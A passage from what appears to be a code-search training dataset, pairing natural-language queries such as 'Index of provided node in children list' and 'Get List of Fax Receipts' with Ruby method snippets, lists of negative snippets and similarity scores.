"def find id\n @objs_list[id] if @objs_list\n end",
"def find\n fail NotImplementedError\n end",
"def find(id)\n # Your code Here\n @candidates.each do |candidate|\n if id == candidate[:id]\n return candidate\n end\n end\n\n nil\nend",
"def find_document!(model, id)\n document = model.find_by_id(id)\n unless document\n error 404, convert(body_for(:not_found))\n end\n document\n end",
"def find(id)\n find_by_index(id: id)\n end",
"def find(id)\n binding.pry\n candidate.each do |candidate|\n if @candidate[:id] == id\n return candidate\n else\n nil\n end \n end \nend",
"def find(id)\n klass.find(id)\n end",
"def find_locally(id)\n if @all.present?\n @all.find { |model| model.id == id }\n end\n end",
"def find(id)\n @candidates.each do |candidate|\n return candidate if candidate[:id] == id\n end\n return nil\nend",
"def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end",
"def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end",
"def find(id)\n found = nil\n @candidates.each do |candidate|\n if candidate[:id] == id\n found = candidate\n end\n end\n found\nend",
"def find_one\n return super if params[klass.primary_key].present?\n @find_one ||= klass.new_collection_from_result(limit(1).fetch).first\n rescue ::Spyke::ConnectionError => error\n fallback_or_reraise(error, default: nil)\n end",
"def find_by_id_or_username\n if input_is_id?\n find_by_id\n else\n find_by_username\n end\n end",
"def find(id)\n # Your code Here\n # puts \"you are looking for id: #{id}\"\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n end\n end\n return nil\nend",
"def find(id)\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n else\n return nil\n end\n end\nend",
"def find(id)\n found = nil\n found = @candidates.find { |candidate| candidate.fetch(:id) == id }\n # found = @candidates.select { |candidate| candidate.fetch(:id) == id }\n # found && found = found[0]\nend",
"def find(id)\n @candidates.each do |candidate|\n return candidate if id == candidate[:id]\n end\n nil\nend",
"def find(id)\n @candidates.each do |candidate|\n return candidate if candidate[:id]==id\n end\n nil\nend",
"def find(id)\n all.find { |obj| obj.id == id }\n end",
"def found?\n return false if no_search\n\n id.present? || records.present?\n end",
"def find(id)\n # Your code Here\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n end\n end\n nil\nend",
"def find(id)\n @candidates.find {|h| h[:id] == id}\nend",
"def find (candidate_id)\n @candidates.detect{|candidate| candidate_id == candidate[:id]}\n puts \"No match foud\" if nil \n end",
"def find_one(id)\n if id.is_a?(Integer) && id > 0\n row = connection.get_first_row <<-SQL\n SELECT #{columns.join \",\"} FROM #{table}\n WHERE id = #{id};\n SQL\n\n # converts a row into an object\n init_object_from_row(row)\n else\n puts \"Id must be a number greater than 0, Try again\"\n end\n end",
"def find_from!(collection, identifier, find_by = :id)\n if identifier.present?\n collection.detect { |instance| instance.send(find_by) == identifier.to_i } || (raise ActiveRecord::RecordNotFound)\n else\n raise ActiveRecord::RecordNotFound\n end\n end",
"def find(id)\n @candidates.each do | candidate |\n if candidate[:id] == id\n return candidate \n end\n end\nend",
"def find_id(id)\n @candidates.find {|candidate| candidate if candidate[:id] == id}\nend",
"def find(id, params = {})\n from_base id, params\n end",
"def find(id)\n @candidates.each do |candidate|\n if id == candidate[:id]\n candidate\n end\n end\n nil\nend",
"def find(id)\n @candidates.each do |person|\n if person[:id] === id\n return person\n end\n end\n return nil\nend",
"def find(id)\n # binding.pry\n raise '@candidates must be an Array' if @candidates.nil?\n candidate.each do |candidate|\n if candidate[:id] == id\n return candidate\n else\n nil\n end \n end \nend",
"def find_by_id(id, timeout=nil)\r\n return source_find_by_id(page, id, timeout)\r\n end",
"def find_one(id)\n response = request(:get, \"/#{resource_name}/#{id}\")\n #puts response\n construct_record_from_singular(response)\n end",
"def find_item(purchase_or_id)\n raise NotImplementedError\n end",
"def find id\n return nil if node.ids.empty?\n node.send(:orm_class).find id\n end",
"def locate(id)\n return self if are_you(id)\n\n # Try Inventory\n i = @inv.fetch(id)\n return i if !i.nil?\n\n return nil\n end",
"def find_params_id(model)\n model.find(params[:id])\n rescue Exception => e\n redirect_with_flash(e.message) and return nil\n end",
"def find_record(xero_id)\n raise_must_override\n end",
"def find(id)\n\nreturn candidates.detect{|candidate| candidate[:id]==id }\n\nend",
"def find_by_id(id)\n models.each do |model|\n el = model.find_by_id(id)\n return el if el\n end\n nil\n end",
"def find_by_id(id)\n users.find { |user| user.id == id } || false\n end",
"def fetch_one(id, extra_controller_params)\n puts \"fetch one search helper\"\n old_solr_doc_params = Deprecation.silence(Blacklight::SearchHelper) do\n solr_doc_params(id)\n end\n\n if default_solr_doc_params(id) != old_solr_doc_params\n Deprecation.warn Blacklight::SearchHelper, \"The #solr_doc_params method is deprecated. Instead, you should provide a custom SolrRepository implementation for the additional behavior you're offering. The current behavior will be removed in Blacklight 6.0\"\n extra_controller_params = extra_controller_params.merge(old_solr_doc_params)\n end\n \n #Override id\n if params[\"DocId\"]\n id = params[\"DocId\"]\n #Rails.logger.debug(\"Found DocID #{params['DocId'].inspect} and id is #{id.inspect}\")\n else \n id ||= params[:id]\n #Rails.logger.debug(\"Using other id\")\n end\n \n\n solr_response = repository.find id, extra_controller_params\n [solr_response, solr_response.documents.first]\n end",
"def find(id)\n @data[id]\n end",
"def find(id)\n sid = id.to_s\n return nil if sid == ''\n return _record_cache[sid] if _record_cache.has_key?(sid) && _class_fetch_states[\"record_#{id}\"] == 'f'\n observer = React::State.current_observer\n record_in_progress = if _record_cache.has_key?(sid)\n _record_cache[sid]\n else\n self.new(id: id)\n end\n record_in_progress_key = \"#{self.to_s}_#{record_in_progress.object_id}\"\n React::State.get_state(observer, record_in_progress_key) if observer\n return _record_cache[sid] if _record_cache.has_key?(sid) && _class_fetch_states[\"record_#{id}\"] == 'i'\n _promise_find(id, record_in_progress).then do\n React::State.set_state(observer, record_in_progress_key, `Date.now() + Math.random()`) if observer\n end\n record_in_progress\n end",
"def find_single(id, *args)\n data = get(id.to_s, *args)\n return nil unless data && !data.empty?\n instantiate(id, data)\n end",
"def find_by()\n\n end",
"def find\n assert_not_nil @rdigg.stories.find(\"7987660\")\n end"
] |
[
"0.7449511",
"0.7381067",
"0.73013794",
"0.73013794",
"0.7290445",
"0.7228518",
"0.7215376",
"0.70134956",
"0.6989107",
"0.6987005",
"0.6979678",
"0.69597614",
"0.6954456",
"0.69408077",
"0.69297165",
"0.6855992",
"0.6813805",
"0.6772662",
"0.6700463",
"0.66640663",
"0.6662042",
"0.6651549",
"0.6610974",
"0.660142",
"0.6546148",
"0.65419155",
"0.6513233",
"0.6501455",
"0.6481069",
"0.6441115",
"0.6423931",
"0.6413641",
"0.6389801",
"0.63819754",
"0.6373359",
"0.6370829",
"0.63700634",
"0.6360549",
"0.63559127",
"0.633851",
"0.63261217",
"0.6312986",
"0.63052714",
"0.6290194",
"0.6286311",
"0.62741315",
"0.62656975",
"0.6265099",
"0.62650824",
"0.6263493",
"0.6254268",
"0.625228",
"0.6249757",
"0.6247082",
"0.62367314",
"0.6233633",
"0.6223661",
"0.6222997",
"0.6213749",
"0.6213219",
"0.62130594",
"0.6196513",
"0.6193699",
"0.6193699",
"0.6189634",
"0.61835766",
"0.61801326",
"0.61796975",
"0.6179118",
"0.616738",
"0.6160163",
"0.6159572",
"0.61591697",
"0.6150352",
"0.6150002",
"0.6143337",
"0.613574",
"0.6135445",
"0.61242926",
"0.61098933",
"0.6100267",
"0.60966456",
"0.6093961",
"0.60878056",
"0.608405",
"0.60835135",
"0.6078994",
"0.6076302",
"0.60753334",
"0.6072494",
"0.60710055",
"0.60693765",
"0.60691345",
"0.606788",
"0.6065021",
"0.6055369",
"0.60395515",
"0.6038399",
"0.60371995",
"0.6034023",
"0.60311675"
] |
0.0
|
-1
|
Index of provided node in children list
|
def index_of(child)
children.index(child)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_child_index\n return 0\n end",
"def own_child_index\n return nil if parent.nil? # self is root\n own_index = nil\n parent.children.each_with_index { |c,i|\n if self == c\n own_index = i\n break\n end\n }\n own_index\n end",
"def left_child_index(i)\n i * 2\n end",
"def each_child_index\n end",
"def right_child_index(i)\n (i * 2) + 1\n end",
"def getChildrenIdx(idx)\n [2 * idx + 1, 2 * idx + 2]\n end",
"def each_child_with_index\n end",
"def index_of_child child\n found = nil\n node_id = child.node_id\n each_with_index do |child, idx|\n next unless child.respond_to?(:node_id)\n if child.node_id == node_id\n found = idx\n break\n end\n end\n if ! found\n fail(\"no child of mine: (##{child.node_id} is not in #{node_id}\")\n end\n found\n end",
"def idx_children(parent_i)\n [parent_i * 2 + 1, parent_i * 2 + 2]\n end",
"def left_child_node(index)\n index * 2 + 1\n end",
"def get_child_positions\n @children.map { |x| x.idx }\n end",
"def each_child_with_index(&block) # :yields: child_node, index\n children.each_with_index(&block)\n nil\n end",
"def each_child_with_index(&block) # :yields: child_node, index\n children.each_with_index(&block)\n nil\n end",
"def [](index)\n children[index]\n end",
"def [](index)\n @children[index]\n end",
"def position\n root? ? 0 : parent.children.index(self)\n end",
"def right_child_node(index)\n index * 2 + 2\n end",
"def get_child(index)\n @children[index]\n end",
"def get_child(index)\n \t@children[index]\n end",
"def left_child(indx)\n 2*indx + 1\n end",
"def position\n self.parent.children.index(self)\n end",
"def part_position\n return self.parent.children.index(self) rescue nil\n end",
"def [](i)\n\t @children[i]\n\tend",
"def position(node)\n siblings.index(node)\n end",
"def get_node_index(node)\n if ((@p).equal?(-1))\n fill_buffer\n end\n i = 0\n while i < @nodes.size\n t = @nodes.get(i)\n if ((t).equal?(node))\n return i\n end\n i += 1\n end\n return -1\n end",
"def child(index)\n @children[index]\n end",
"def index(child); end",
"def child number\n unless @node.send(@children).nil?\n @node = ( ( @node.send(@children) ).at(number) )\n end\n end",
"def idIndex(a, id, offset = 0)\n p \"--------- idIndex called ------------\"\n a.each_with_index do |node, index|\n if node.id == id\n p \"------- index ---------\"\n p index\n return index + offset\n end\n end\n nil\nend",
"def index(element); end",
"def parent_child_index(parent) #:nodoc:\n duck = parent[:builder].instance_variable_get('@nested_child_index')\n\n if duck.is_a?(Hash)\n child = parent[:for]\n child = child.first if child.respond_to?(:first)\n duck[child].to_i + 1\n else\n duck.to_i + 1\n end\n end",
"def next_child_index (returning_fei)\n\n next_id = if returning_fei.is_a?(Integer)\n returning_fei + 1\n elsif returning_fei == self.fei\n 0\n else\n returning_fei.child_id.to_i + 1\n end\n\n loop do\n\n break if next_id > raw_children.length\n\n raw_child = raw_children[next_id]\n\n return next_id \\\n if raw_child.is_a?(Array) or raw_child.is_a?(FlowExpressionId)\n\n next_id += 1\n end\n\n nil\n end",
"def my_index(arg)\n self.each_with_index do |ele,idx|\n if ele == arg\n return idx\n end\n end\n return nil\n end",
"def child_index(path)\n resource = sitemap.find_resource_by_path(\"#{path}/index.html\")\n return \"\" if resource.children.size == 0\n resource.children.each { |e| \"<li>#{link_to e.data.id, e.url}</li>\" }\n index = resource.children.reduce(\"\") { |a, e| a + \"<li>#{link_to e.data.title, e.url}</li>\" }\n \"<ul>#{index}</ul>\"\n end",
"def recursive_index_of(value, current_node = @first_node, current_index = 0) \n if current_node.data == value\n return current_index\n else\n recursive_index_of(value, current_node.next_node, current_index + 1) if current_node.next_node\n end\n end",
"def parent(node_index)\n return -1 if (node_index < 0) || (node_index > @count)\n return (node_index - 1)/2\n end",
"def parent_index(i)\n (i / 2).floor\n end",
"def get_index_from_node(node)\n raise ArgumentError.new if (!node.is_a?(GNode) && !node.is_a?(Integer))\n return node.is_a?(Integer) ? node : node.index\n end",
"def get_index_from_node(node)\n raise ArgumentError.new if (!node.is_a?(GNode) && !node.is_a?(Integer))\n return node.is_a?(Integer) ? node : node.index\n end",
"def node_at(index)\n if index >= self.size\n puts \"index out of range.\"\n else\n each_with_index do |node, i|\n return node if index == i \n end\n end\n end",
"def left_child(parent_index)\n left = 2 * parent_index + 1\n return -1 if left > (@array.size - 1)\n left\n end",
"def parent_child_index(parent) # @private\n # Could be {\"post[authors_attributes]\"=>0} or { :authors => 0 }\n duck = parent[:builder].instance_variable_get('@nested_child_index')\n \n # Could be symbol for the association, or a model (or an array of either, I think? TODO)\n child = parent[:for]\n # Pull a sybol or model out of Array (TODO: check if there's an Array)\n child = child.first if child.respond_to?(:first)\n # If it's an object, get a symbol from the class name\n child = child.class.name.underscore.to_sym unless child.is_a?(Symbol)\n \n key = \"#{parent[:builder].object_name}[#{child}_attributes]\"\n\n # TODO: One of the tests produces a scenario where duck is \"0\" and the test looks for a \"1\" \n # in the legend, so if we have a number, return it with a +1 until we can verify this scenario.\n return duck + 1 if duck.is_a?(Fixnum)\n \n # First try to extract key from duck Hash, then try child\n (duck[key] || duck[child]).to_i + 1\n end",
"def find(index)\n x = index\n while @parent_array[x] != 0\n x = @parent_array[x]\n end\n return x\n end",
"def index(row, column, parent)\n if info = info_from_index(parent)\n if child_info = info.children[row]\n return create_index(row, column, child_info.id)\n end\n end\n Qt::ModelIndex.new\n end",
"def child_index_left index\n [@d * index + 1, @heap.length-1].min\n end",
"def match parser, index\r\n raise \"no children added to sequence\" unless @list\r\n each do |element|\r\n index = element.match parser, index\r\n return NO_MATCH unless index\r\n end\r\n report index\r\n end",
"def right_child(parent_index)\n right = 2 * parent_index + 2\n return -1 if right > (@array.size - 1)\n right\n end",
"def min_child(index)\n ch_e = (index + 1) * 2\n ch_o = (index * 2) + 1\n\n if @nodes[ch_e] && @nodes[ch_o]\n @compare_fn[@nodes[ch_e][:value], @nodes[ch_o][:value]] ? ch_e : ch_o\n elsif @nodes[ch_e]\n ch_e\n elsif @nodes[ch_o]\n ch_o\n else\n nil\n end\n end",
"def next_open_index(index)\n (index...(index + @size)).each do |i|\n if i >= @size\n i = i % @size\n end\n\n if @nodes[i] == nil\n return i\n end\n end\n\n return -1\n end",
"def parent(index)\n (index.to_f / 2).ceil - 1\n end",
"def traverse index_array\n\t\treturn self if index_array.size == 0\n\t\tchild = index_array.shift\n\t\treturn nil if child > @children.size\n\t\treturn @children[child - 1].traverse(index_array)\n\tend",
"def child_index_right index\n [@d*index+@d, @heap.length-1].min\n end",
"def at_index( n )\n # return Node object at position n in the list\n # same as array[n]\n\n # node = @head\n # n.times do\n # node = node.next if node\n # end\n # node\n\n each{ |node, index| return node if index == n }\n\n # index = 0\n # while node\n # return node if index == n\n # node = node.next # i++\n # index += 1\n # end\n # nil\n end",
"def array_index\n bindata_array_klass = BinData.const_defined?(\"Array\") ? \n BinData.const_get(\"Array\") : nil\n child = @obj\n parent = @obj.parent\n while parent\n if parent.class == bindata_array_klass\n return parent.index(child)\n end\n child = parent\n parent = parent.parent\n end\n raise NoMethodError, \"no index found\"\n end",
"def left_child(index)\n left = index * 2 + 1\n if left >= @tree.length\n return INVALID_INDEX\n else\n return left\n end\n end",
"def at(index)\n self.traverse_list_with_count do |node, count|\n if count == index\n return node\n elsif count > self.size\n print \"A node at the given index doesn't exist\"\n end\n end\n end",
"def index_of element\n # Can search for nil values\n if element == nil\n each_with_index do |node, index|\n return index if node.data == nil\n end\n # searching for non-nil values\n else\n each_with_index do |node, index|\n return index if node.data == element\n end\n end\n\n return -1\n end",
"def index_of element\n # Can search for nil values\n if element == nil\n each_with_index do |node, index|\n return index if node.data == nil\n end\n # searching for non-nil values\n else\n each_with_index do |node, index|\n return index if node.data == element\n end\n end\n\n return -1\n end",
"def find(data)\n self.traverse_list_with_count do |node, index|\n return index if node.value == data\n end\n end",
"def find_node(index)\n counter = 0\n current_node = @first\n while counter < index \n current_node = current_node.next_node\n counter += 1\n end\n current_node\n\n end",
"def index_of(target)\n current = @head\n index = 0\n until current.nil?\n return index if current.value == target\n\n current = current.next\n index += 1\n end\n -1\n end",
"def index(node = T.unsafe(nil)); end",
"def index(node = T.unsafe(nil)); end",
"def at(index)\n idx = 0;\n node = list\n while (node != nil)\n return node if idx == index\n idx += 1\n node = node.nextNode\n end\n nil\n end",
"def min_child(index)\n left_child_index = left_child(index)\n right_child_index = right_child(index)\n min_child_index = left_child_index\n if right_child_index != INVALID_INDEX && @tree[right_child_index] < @tree[left_child_index]\n min_child_index = right_child_index\n end\n return min_child_index\n end",
"def find_subrec_index_in_victim(victim, subrec_name, position)\n ind = nil\n victim[subrec_name].each_with_index do |subrec, i|\n if i == position\n ind = i\n break\n end\n end\n\n return ind ? ind : -1\n end",
"def index_of(list, element)\n raise NotImplementedError\n end",
"def move_to_child_with_index(node, index)\n index = index.to_i\n\n if index >= 0\n move_to_child_with_position node, index + 1\n elsif node\n movement(node, :strict => true) do |to|\n to.parent = node\n to.position = to.target.children.size + index + 1\n end\n else\n move_to_child_with_position nil, scope.roots.size + index + 1\n end\n end",
"def index(value)\n find_index(value, 0, @head, :next, 1)\n end",
"def update_index(name, node); end",
"def on_call_position(context)\n index = current_node_set.index(context.first) + 1\n\n return index.to_f\n end",
"def cfei_at(i)\n\n children.find { |cfei| Ruote.extract_child_id(cfei) == i }\n end",
"def at(index)\n if index >= @size\n return nil\n elsif index == 0\n return @head\n end\n search_index = @head\n index.times {\n search_index = search_index.next_node\n }\n return search_index\n end",
"def parent(index)\n case index\n when 0\n INVALID_INDEX\n else\n (index - 1) / 2\n end\n end",
"def index\n @index ||= tree.all_data.index(entry)\n end",
"def branch_index\n parent.resbody_branches.index(self)\n end",
"def index(list, item, &block)\r\n\t\ti = bisect_left(list, item, &block)\r\n\t\treturn list[i] == item ? i : nil\r\n\tend",
"def getParentIdx(idx)\n (idx-1)/2.0.floor if (idx > 0)\n end",
"def find(value)\n idx = 0\n node = list\n while node != nil\n return idx if node.value == value\n idx += 1\n node = node.nextNode\n end\n return nil\n end",
"def child(n)\n if n < 0\n raise Exceptions::ZipperError,\n \"child index cannot be negative\"\n end\n\n cursor = down\n until n.zero?\n cursor = cursor.next\n n -= 1\n end\n cursor\n end",
"def last_sibling_index(parent)\n return -1 if groups.empty?\n\n if parent.nil?\n parent_index = 0\n sibling_level = 1\n else\n parent_index = groups.find_index(parent)\n sibling_level = parent.level + 1\n end\n\n raise \"Could not find group #{parent.name}\" if parent_index.nil?\n\n (parent_index..(header.groups_count - 1)).each do |i|\n break i unless groups[i].level == sibling_level\n end\n end",
"def match parser, index\r\n raise \"multiple element child not set\" unless child\r\n raise \"multiple element range not set\" unless range\r\n count = 0\r\n while count < range.last\r\n found = child.match parser, index\r\n break unless found\r\n index = found\r\n count += 1\r\n end\r\n report range === count ? index : NO_MATCH\r\n end",
"def index(p0) end",
"def index(p0) end",
"def get_index(i)\n\t\tif (!@head || @size < i+1)then return false end\n\t\tcurrent = this.head\n\t\tcount = 0\n\t\twhile (count < i) #go to the index\n\t\t\tcurrent = current.get_next()\n\t\t\tcount+=1\n\t\tend\n\t\treturn current.get_item()\n\tend",
"def each_with_index(&block)\n @tree.each_with_index(&block)\n end",
"def level_index\n @level_index || 0\n end",
"def level_index\n @level_index || 0\n end",
"def parent_index( local_index, parent_array = parent_array( local_index ), local_parent_map = nil )\n \n parent_index = nil\n \n if parent_array\n local_parent_map ||= local_parent_map( parent_array )\n parent_index = local_parent_map[ local_index ]\n end\n \n return parent_index\n \n end",
"def parent(index)\n # Ruby automatically floors integers\n return (index - 1) / 2 if index.even?\n index / 2 \n end",
"def get_node(i=0)\n nodes.select {|a| a.number == i.to_i}.first\n end",
"def child_index=(idx)\n move_to_child_with_index(parent, idx.to_i) unless new_record?\n end",
"def local_index( parent_array, parent_index, \n parent_local_map = parent_local_map( parent_array ) )\n\n size = @array_instance.size\n if local_index = parent_local_map[ parent_index ]\n local_index = size if local_index > size\n else\n # local index is after last parent element in array\n this_parent_index = parent_index - 1\n while this_parent_index >= 0\n break if local_index = parent_local_map[ this_parent_index ]\n this_parent_index -= 1\n end\n if parent_index >= parent_local_map.size\n local_index = local_index ? local_index + 1 : size\n end\n end\n \n return local_index\n \n end",
"def node_by_index(index)\n subject.to_xml.to_a[index]\nend",
"def search_index(replace_index)\n current_index = 0\n each do |node|\n return node if current_index == (replace_index-1)\n current_index += 1\n end\n end",
"def [](index)\n @tree[index]\n end",
"def get_index_of_biggest_child index\n childs = []\n left_index = child_index_left(index)\n right_index = child_index_right(index)\n for i in left_index..right_index\n childs << @heap[i]\n end\n childs.index(childs.max)+left_index\n end",
"def child_element_count\n num = 0\n self.each_child_node do |n|\n if n.node_type == ELEMENT_NODE then\n num += 1\n end\n end\n return num\n end",
"def [](index)\n get_node(index).element\n end",
"def index(element)\n each_with_index { |e, index| return index if e == element }\n nil\n end"
] |
[
"0.76742184",
"0.7532127",
"0.7369772",
"0.7337128",
"0.7261996",
"0.72143",
"0.7148654",
"0.7115117",
"0.703771",
"0.70130855",
"0.69766545",
"0.6895524",
"0.6895524",
"0.6849534",
"0.6835928",
"0.6800404",
"0.6752169",
"0.6731827",
"0.6727014",
"0.6716052",
"0.6690258",
"0.666675",
"0.6611271",
"0.6601579",
"0.65910214",
"0.65191936",
"0.64257795",
"0.6417651",
"0.64077526",
"0.6407494",
"0.6401667",
"0.63881826",
"0.6377031",
"0.6376685",
"0.6366663",
"0.63086253",
"0.62579334",
"0.62435424",
"0.62435424",
"0.62391585",
"0.62386787",
"0.62343687",
"0.62240154",
"0.6164742",
"0.61594105",
"0.6104924",
"0.60849696",
"0.608188",
"0.60695916",
"0.60525733",
"0.6032937",
"0.60317576",
"0.6023144",
"0.6010025",
"0.5987031",
"0.5982736",
"0.59814364",
"0.59814364",
"0.5974804",
"0.59503955",
"0.5940801",
"0.5940183",
"0.5940183",
"0.5936786",
"0.5909229",
"0.58988905",
"0.5889901",
"0.58676267",
"0.5842392",
"0.58315337",
"0.5826403",
"0.58257234",
"0.5821243",
"0.5806255",
"0.5796756",
"0.5795962",
"0.57941663",
"0.57915723",
"0.5773368",
"0.5757956",
"0.57518435",
"0.57494205",
"0.5749419",
"0.5749419",
"0.5744313",
"0.5735539",
"0.57348615",
"0.57348615",
"0.5730935",
"0.5711532",
"0.57106394",
"0.5705408",
"0.5700886",
"0.56981355",
"0.5696187",
"0.56945467",
"0.56879467",
"0.56815314",
"0.56690836",
"0.5657345"
] |
0.794102
|
0
|
Get List of Fax Receipts
|
def fax_receipt_list
# Prepare query url.
_query_builder = Configuration.base_uri.dup
_query_builder << '/fax/receipts'
_query_url = APIHelper.clean_url _query_builder
# Prepare and execute HttpRequest.
_request = @http_client.get(
_query_url
)
BasicAuth.apply(_request)
_context = execute_request(_request)
# Validate response against endpoint and global error codes.
return nil if _context.response.status_code == 404
validate_response(_context)
# Return appropriate response type.
_context.response.raw_body
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def receipts_plist\n plist_virtual_attribute_get(:receipts)\n end",
"def fee_receipts\n unless params[:search].present?\n @start_date=@end_date=FedenaTimeSet.current_time_to_local_time(Time.now).to_date\n else\n @start_date=date_fetch('start_date_as')\n @end_date=date_fetch('end_date_as')\n end\n @search_params = params[:search] || Hash.new\n @search_params[:start_date_as] = @start_date\n @search_params[:end_date_as] = @end_date\n @search = fetched_fee_receipts.search(@search_params)\n @receipts=@search.concat AdvanceFeeCollection.fetch_advance_fees_receipts(@start_date, @end_date, params)\n @fee_receipts = @receipts.sort_by{|o| o.transaction_date.to_date}.reverse.paginate(\n :per_page => 20,\n :page => params[:page])\n @grand_total = 0.00\n @fee_receipts.each {|f| @grand_total += f.amount.to_f }\n end",
"def index\n @receipts = current_account.receipts.all\n end",
"def index\n @receipts = receipt_class.all\n end",
"def index\n @receipt_entries = ReceiptEntry.all\n end",
"def index\n @activity_receipts = ActivityReceipt.all\n end",
"def receipt_items\n returning = []\n sales_tax = 0.0\n total = 0.0\n @shopping_cart.each do |line_item|\n sales_tax = sales_tax + line_item.tax\n total = total + line_item.price_with_tax\n returning << \"#{line_item.count} #{line_item.description}: %.2f\" % line_item.price_with_tax\n end\n returning << \"Sales Taxes: %.2f\" % sales_tax\n returning << \"Total: %.2f\" % total\n end",
"def index\n @receipts = Receipt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @receipts }\n end\n end",
"def receipts(options = {})\n MessageCenter::Receipt.where(options).recipient(messageable).order(:created_at => :desc)\n end",
"def receipts(options = {})\n Mailboxer::Receipt.where(options).recipient(messageable)\n end",
"def index\n @datum_receipts = DatumReceipt.all\n end",
"def receipts_for(participant)\n receipt_for(participant)\n end",
"def index\n @receipts = current_user.receipts\n end",
"def in_app_receipts\n read('in_app').map { |raw_receipt| InAppReceipt.new(raw_receipt) }\n end",
"def get_fee(detail_page)\n fee_array = []\n first_table = detail_page.search('div#ctl00_MainBodyContent_group_19 table.ContentPanel')\n if first_table != nil\n list_tr = first_table.search('tr')\n for i in 1..list_tr.length-1\n list_td = list_tr[i].search('td')\n fee_obj = {}\n fee_obj[:application_fee_type] = clean_whitespace(list_td[0].inner_text)\n fee_obj[:accepted_fee_amount] = clean_whitespace(list_td[1].inner_text)\n fee_obj[:paid] = clean_whitespace(list_td[2].inner_text)\n fee_obj[:balance] = clean_whitespace(list_td[3].inner_text)\n fee_array << fee_obj\n end\n else\n return \"\"\n end\n return fee_array\nend",
"def get_fee(detail_page)\n fee_array = []\n first_table = detail_page.search('div#ctl00_MainBodyContent_group_19 table.ContentPanel')\n if first_table != nil\n list_tr = first_table.search('tr')\n for i in 1..list_tr.length-1\n list_td = list_tr[i].search('td')\n fee_obj = {}\n fee_obj[:application_fee_type] = clean_whitespace(list_td[0].inner_text)\n fee_obj[:accepted_fee_amount] = clean_whitespace(list_td[1].inner_text)\n fee_obj[:paid] = clean_whitespace(list_td[2].inner_text)\n fee_obj[:balance] = clean_whitespace(list_td[3].inner_text)\n fee_array << fee_obj\n end\n else\n return \"\"\n end\n return fee_array\nend",
"def index\n @faxes = Fax.all\n end",
"def index\n @fax_jobs = FaxJob.all\n end",
"def order_receipt(items)\r\n for item in items\r\n item.receipt\r\n end\r\n end",
"def getResultRecepientEmailList()\n return @resultRecepients\n end",
"def index\n @payment_receipts = PaymentReceipt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @payment_receipts }\n end\n end",
"def show\n @receipt_items = @receipt.receipt_items;\n end",
"def all_fees\n services.map{|el| el[:fee]}\n end",
"def index\n @shipping_fees = ShippingFee.all\n end",
"def index\n if receipt_type\n @receipts = receipt_type.includes(:representative).all\n else\n redirect_to root_url\n end\n end",
"def get_receipts\n @job = Job.find(params[:id])\n @receipts = []\n if params[:owner_type] == \"owner\"\n @receipts = Receipt.find_all_by_job_id_and_owner_id_and_owner_type(@job.id, @job.owner.id, \"owner\")\n end\n if params[:owner_type] == \"logger\"\n @receipts = Receipt.find_all_by_job_id_and_owner_id_and_owner_type(@job.id, @job.logger.id, \"logger\")\n end\n if params[:owner_type] == \"trucker\"\n @receipts = Receipt.find_all_by_job_id_and_owner_id_and_owner_type(@job.id, @job.trucker.id, \"trucker\")\n end\n if params[:owner_type] == \"hfi\"\n @receipts = Receipt.find_all_by_job_id_and_owner_id_and_owner_type(@job.id, 0, \"hfi\")\n end\n end",
"def get_fax_receipt(message_id)\r\n # Validate required parameters.\r\n validate_parameters(\r\n 'message_id' => message_id\r\n )\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/fax/receipts/{message_id}'\r\n _query_builder = APIHelper.append_url_with_template_parameters(\r\n _query_builder,\r\n 'message_id' => message_id\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n return nil if _context.response.status_code == 404\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"def index\n @fnf_items = FnfItem.all\n end",
"def fax_number\n return unless @user.loa3?\n\n dig_out('telephones', 'phone_type', VAProfile::Models::Telephone::FAX)\n end",
"def receipts_for(participant)\n Mailboxer::Receipt.conversation(self).recipient(participant)\n end",
"def fixed_fees\n fixed_fee.nil? ? [] : [fixed_fee]\n end",
"def index\n @receipts = current_user.receipts\n @user = current_user\n end",
"def invoices\n return Xero.get_invoices(self)\n end",
"def index\n @fax_documents = FaxDocument.accessible_by( current_ability, :index ).all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fax_documents }\n end\n end",
"def index\n # @rfx_items = RfxItem.all\n @rfx_items = @rfx.rfx_items\n end",
"def receipts_sent\n receipts.sent_messages_receipts\n end",
"def receipts_to(obj)\n receipts_to_or_from(obj).sent_messages_receipts\n end",
"def get_xbrl_files(item)\n xbrl_files=item[\"xbrlFiling\"][0][\"xbrlFiles\"][0][\"xbrlFile\"]\n return xbrl_files.select {|e| e[\"edgar:url\"].end_with?(\"xml\") || e[\"edgar:url\"].end_with?(\"xsd\")}\n end",
"def receipts_for(participant)\n return Receipt.conversation(self).recipient(participant)\n end",
"def index\n @appraisal_fees = AppraisalFee.all\n end",
"def invoice_list\n @list_result=ChargeBee::Invoice.invoices_for_subscription(@subscription_id,\n { :limit => 20 })\n end",
"def list_receipts\n db_conn = PG.connect( dbname: FILENAME + \"_db\" )\n result = db_conn.exec( \"SELECT * FROM receipts\" )\n db_conn.close\n\n output_str = \"\"\n\n result.each do |row|\n row['parent'] = \"Santa\" if row['parent'].nil? # all NULLs are Santa\n\n output_str += \"Number #{row['id']}: #{row['number_of_item']} \"\n output_str += \"#{row['item']}, from #{row['store']} at \"\n output_str += \"#{row['price']} each. (Bought by #{row['parent']} on #{row['buy_date']})\\n\" # newline\n end\n\n output_str # implicit return\nend",
"def index\n @shipping_fees = ShippingFee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @shipping_fees }\n end\n end",
